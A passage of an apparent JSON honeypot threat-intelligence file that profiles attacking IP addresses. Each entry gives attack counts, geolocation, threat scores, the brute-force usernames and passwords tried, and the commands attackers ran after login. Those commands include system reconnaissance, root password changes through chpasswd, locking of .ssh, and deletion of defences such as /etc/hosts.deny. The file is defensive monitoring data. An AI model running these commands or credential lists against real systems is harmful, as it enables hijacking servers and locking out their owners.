        "which ls",
        "whoami",
        "echo \"12345678\\nRADW3vRxtyCw\\nRADW3vRxtyCw\\n\"|passwd",
        "echo \"123456\\n2wVNMcfCL8MZ\\n2wVNMcfCL8MZ\\n\"|passwd",
        "echo \"1234\\nqZMVtAcWLE3t\\nqZMVtAcWLE3t\\n\"|passwd",
        "echo \"ve123\\nlIQvIgnCzp6H\\nlIQvIgnCzp6H\\n\"|passwd",
        "echo -e \"12345678\\nRADW3vRxtyCw\\nRADW3vRxtyCw\"|passwd|bash",
        "echo -e \"123456\\n2wVNMcfCL8MZ\\n2wVNMcfCL8MZ\"|passwd|bash",
        "echo -e \"1234\\nqZMVtAcWLE3t\\nqZMVtAcWLE3t\"|passwd|bash",
        "echo -e \"ve123\\nlIQvIgnCzp6H\\nlIQvIgnCzp6H\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T13:20:07.291000+00:00",
        "last_seen_30d": "2026-03-25T10:20:08.004000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 64
      }
    },
    "103.189.208.13": {
      "attack_count": 374,
      "first_seen": "2026-03-04T19:16:35.592Z",
      "last_seen": "2026-03-21T14:29:32.916Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdel",
        "hong",
        "bot1",
        "es",
        "omm",
        "pzuser",
        "srs",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123456...",
        "123456Yy",
        "1qaz!qaz",
        "1qaz@WSX.",
        "Hong123",
        "Huawei@123456",
        "QWEasd!@#123",
        "abdelpass",
        "changeme123",
        "es@123",
        "gov",
        "java1234",
        "nasri288",
        "password",
        "pzuser1234",
        "qwerty@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Hong123\\nhC1J077Oubl5\\nhC1J077Oubl5\\n\"|passwd",
        "echo \"abdelpass\\nMwW8G1R8yZjG\\nMwW8G1R8yZjG\\n\"|passwd",
        "echo \"root:EULvuH0K31sw\"|chpasswd|bash",
        "echo \"root:vPD9iekQdv2V\"|chpasswd|bash",
        "echo -e \"Hong123\\nhC1J077Oubl5\\nhC1J077Oubl5\"|passwd|bash",
        "echo -e \"abdelpass\\nMwW8G1R8yZjG\\nMwW8G1R8yZjG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149111,
      "as_org": "TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:16:35.592000+00:00",
        "last_seen_30d": "2026-03-21T14:30:40.699000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 374,
        "Suricata": 65
      }
    },
    "192.81.208.35": {
      "attack_count": 332,
      "first_seen": "2026-03-04T06:19:22.627Z",
      "last_seen": "2026-03-04T11:26:23.821Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root11"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "1q1q1q1q!",
        "Dd123456",
        "P@$$word@1234",
        "Qaz@123456",
        "Reza@123",
        "Root2024",
        "Root@12",
        "Y4k1nm4suk.2019",
        "adm12345",
        "admin1234!",
        "admin2022.",
        "ahead",
        "esther1",
        "hallo",
        "lopata",
        "newton",
        "q123456789"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HHTmpN17U5fc\"|chpasswd|bash",
        "echo \"root:PdSLR8qBkSh4\"|chpasswd|bash",
        "echo \"root:YGobTr0vtiML\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T06:19:22.627000+00:00",
        "last_seen_30d": "2026-03-04T11:27:28.742000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 70
      }
    },
    "103.250.10.151": {
      "attack_count": 331,
      "first_seen": "2026-03-10T08:08:07.060Z",
      "last_seen": "2026-03-10T08:34:15.986Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ami",
        "clawd",
        "elearn",
        "old",
        "ai",
        "db2admin",
        "ernesto",
        "rdpuser",
        "root",
        "term1",
        "toor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "123456",
        "Elearn123",
        "admin1!",
        "ami",
        "ernestopass",
        "term1pass",
        "toorpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ntsGZj3RwRlkc\\ntsGZj3RwRlkc\\n\"|passwd",
        "echo \"12345\\nyzkKfLoaDbk3\\nyzkKfLoaDbk3\\n\"|passwd",
        "echo \"Elearn123\\n0MDjpbuWW0I2\\n0MDjpbuWW0I2\\n\"|passwd",
        "echo \"ami\\nwkdxCAURIMhg\\nwkdxCAURIMhg\\n\"|passwd",
        "echo -e \"123456\\ntsGZj3RwRlkc\\ntsGZj3RwRlkc\"|passwd|bash",
        "echo -e \"12345\\nyzkKfLoaDbk3\\nyzkKfLoaDbk3\"|passwd|bash",
        "echo -e \"Elearn123\\n0MDjpbuWW0I2\\n0MDjpbuWW0I2\"|passwd|bash",
        "echo -e \"ami\\nwkdxCAURIMhg\\nwkdxCAURIMhg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:08:07.060000+00:00",
        "last_seen_30d": "2026-03-10T08:35:20.542000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 43
      }
    },
    "176.53.96.10": {
      "attack_count": 329,
      "first_seen": "2026-03-12T12:05:12.318Z",
      "last_seen": "2026-03-21T08:56:28.155Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "2k18",
        "builduser",
        "ftpd",
        "hosting",
        "n8n",
        "root",
        "astro",
        "casa",
        "cavi",
        "datacenter",
        "dds",
        "frappeuser",
        "gittest",
        "jellyfin",
        "lucas",
        "mtbguide",
        "odoo17",
        "oracle",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1234",
        "12345",
        "12345678",
        "123qwe",
        "1999",
        "1qazxsw2",
        "2k18",
        "7777777",
        "Sshtunnel123",
        "Sshuser123!",
        "astro123!",
        "builduser123",
        "casa",
        "cavi",
        "datacenter123!",
        "dds"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"2k18\\nh23YpFeNoypZ\\nh23YpFeNoypZ\\n\"|passwd",
        "echo \"builduser123\\nIt9RgyM2l6qm\\nIt9RgyM2l6qm\\n\"|passwd",
        "echo -e \"2k18\\nh23YpFeNoypZ\\nh23YpFeNoypZ\"|passwd|bash",
        "echo -e \"builduser123\\nIt9RgyM2l6qm\\nIt9RgyM2l6qm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 42926,
      "as_org": "Radore Veri Merkezi Hizmetleri A.S.",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 420,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:05:12.318000+00:00",
        "last_seen_30d": "2026-03-21T08:57:35.624000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 91
      }
    },
    "103.82.92.40": {
      "attack_count": 317,
      "first_seen": "2026-03-10T08:02:01.465Z",
      "last_seen": "2026-03-10T18:34:14.107Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "345gs5662d34",
        "root",
        "x",
        "anders",
        "asus",
        "dylan",
        "ftp_test",
        "hamza",
        "infra",
        "manu",
        "modify",
        "nova",
        "peer",
        "rsync",
        "showroom",
        "silvia",
        "task",
        "ubuntu22",
        "victor"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "password",
        "123",
        "123qwe!@#",
        "Aaaa1234",
        "anders123",
        "ftp_test",
        "hamza1234",
        "infrapass",
        "nova@123",
        "qb",
        "silviapass",
        "victor"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nQu1Jj0sE7ZuT\\nQu1Jj0sE7ZuT\\n\"|passwd",
        "echo \"123\\npERS3unRQJQg\\npERS3unRQJQg\\n\"|passwd",
        "echo \"password\\nt65I5q8Mv0ya\\nt65I5q8Mv0ya\\n\"|passwd",
        "echo -e \"123456\\nQu1Jj0sE7ZuT\\nQu1Jj0sE7ZuT\"|passwd|bash",
        "echo -e \"123\\npERS3unRQJQg\\npERS3unRQJQg\"|passwd|bash",
        "echo -e \"password\\nt65I5q8Mv0ya\\nt65I5q8Mv0ya\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:02:01.465000+00:00",
        "last_seen_30d": "2026-03-10T18:35:14.970000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 65
      }
    },
    "5.252.153.200": {
      "attack_count": 309,
      "first_seen": "2026-03-29T16:35:34.429Z",
      "last_seen": "2026-03-29T17:41:51.166Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZXSW@",
        "1234fdsa",
        "1475369",
        "1a2s3d4f5g6h7j8k",
        "1qaz!@#$",
        "Ds123123",
        "P455w0RD",
        "Welcome2026!",
        "abcd123",
        "abcd123!@#",
        "admin12345@",
        "alex12345",
        "cloud12#$",
        "dx123",
        "fjbdfdjkdsfs541544@@",
        "jesus",
        "password12#",
        "test@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:P7ZNXqkB0bVP\"|chpasswd|bash",
        "echo \"root:tyaFPPSHv5kX\"|chpasswd|bash",
        "echo \"root:uVGjYVdQzQWi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": null,
      "asn": 205775,
      "as_org": "Neon Core Network LLC",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:35:34.429000+00:00",
        "last_seen_30d": "2026-03-29T17:42:56.374000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 65
      }
    },
    "172.178.16.179": {
      "attack_count": 304,
      "first_seen": "2026-03-20T20:30:12.841Z",
      "last_seen": "2026-03-22T04:41:25.575Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aa",
        "mk",
        "ankit",
        "downloader",
        "esuser",
        "g",
        "go",
        "lan",
        "lcx",
        "matin",
        "ociispth",
        "patricia",
        "rahul",
        "runner",
        "tv"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "123",
        "1234",
        "12345",
        "12345678",
        "Ab123456",
        "Downloader123",
        "Go123!",
        "Mm123456@",
        "P@ssword!",
        "Tv123",
        "Welcome12#",
        "esuser",
        "lan123",
        "lcx123!",
        "matin123!",
        "mk123!",
        "ociispth123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nHQVue8aUgkuV\\nHQVue8aUgkuV\\n\"|passwd",
        "echo \"1234\\nhTIPAIVQ8bfD\\nhTIPAIVQ8bfD\\n\"|passwd",
        "echo \"mk123!\\nfjBXRKnlHLzn\\nfjBXRKnlHLzn\\n\"|passwd",
        "echo -e \"12345678\\nHQVue8aUgkuV\\nHQVue8aUgkuV\"|passwd|bash",
        "echo -e \"1234\\nhTIPAIVQ8bfD\\nhTIPAIVQ8bfD\"|passwd|bash",
        "echo -e \"mk123!\\nfjBXRKnlHLzn\\nfjBXRKnlHLzn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T20:30:12.841000+00:00",
        "last_seen_30d": "2026-03-22T04:42:29.248000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 66
      }
    },
    "62.3.56.187": {
      "attack_count": 287,
      "first_seen": "2026-03-07T15:11:25.772Z",
      "last_seen": "2026-03-28T14:34:52.005Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "d",
        "asus",
        "ayoub",
        "gns3",
        "james",
        "llm",
        "rock",
        "sambauser",
        "teamspeak",
        "verdaccio"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345qwert!@#$%",
        "123qweR",
        "1@qwerty",
        "Admin#123",
        "Csdx@13579",
        "Ct123456",
        "Password13",
        "Qet135!#%",
        "Verdaccio123!",
        "abc123@@@",
        "admin123456@",
        "andy123",
        "bobbob"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n4zwG1y6toxqz\\n4zwG1y6toxqz\\n\"|passwd",
        "echo \"root:nbn6qnG3XSmR\"|chpasswd|bash",
        "echo -e \"12345678\\n4zwG1y6toxqz\\n4zwG1y6toxqz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 210513,
      "as_org": "Masarat Al-Iraq Information Technology Co., Ltd",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T15:11:25.772000+00:00",
        "last_seen_30d": "2026-03-28T14:35:54.435000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 90
      }
    },
    "202.184.141.29": {
      "attack_count": 259,
      "first_seen": "2026-03-04T18:12:04.570Z",
      "last_seen": "2026-03-04T18:43:52.720Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Qw",
        "123qweQWE@",
        "1qaz2wsx",
        "ASDzxc123456",
        "Asdf123456789",
        "Bingo@1993",
        "Centos2024",
        "Pass",
        "Py123456",
        "blackbird",
        "syncmaster"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:nTvtbLdu7MTO\"|chpasswd|bash",
        "echo \"root:qdWrOzIUvoSV\"|chpasswd|bash",
        "echo \"root:vcwytLEJRij3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T18:12:04.570000+00:00",
        "last_seen_30d": "2026-03-04T18:44:54.675000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "103.250.11.156": {
      "attack_count": 248,
      "first_seen": "2026-03-03T03:58:50.238Z",
      "last_seen": "2026-03-06T02:57:03.120Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "amine",
        "abdel",
        "ahmad",
        "deploy",
        "dolphinscheduler",
        "hanul",
        "newusername",
        "student2",
        "uno85"
      ],
      "passwords_attempted": [
        "1233218613",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234.com",
        "123456",
        "1qazxcvbnm,",
        "Mu123456",
        "P@sSw0rd",
        "P@ssw0rdd",
        "QAZ123wsx456",
        "Student2123",
        "abdel123",
        "ahmad123!",
        "asdf123",
        "ben12345",
        "deploy2025",
        "jian",
        "password",
        "toor12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1233218613\\n4fLKsEbjfoco\\n4fLKsEbjfoco\\n\"|passwd",
        "echo \"123456\\nJJQSZrxNiwV5\\nJJQSZrxNiwV5\\n\"|passwd",
        "echo -e \"1233218613\\n4fLKsEbjfoco\\n4fLKsEbjfoco\"|passwd|bash",
        "echo -e \"123456\\nJJQSZrxNiwV5\\nJJQSZrxNiwV5\"|passwd|bash"
      ],
      "event_types": [
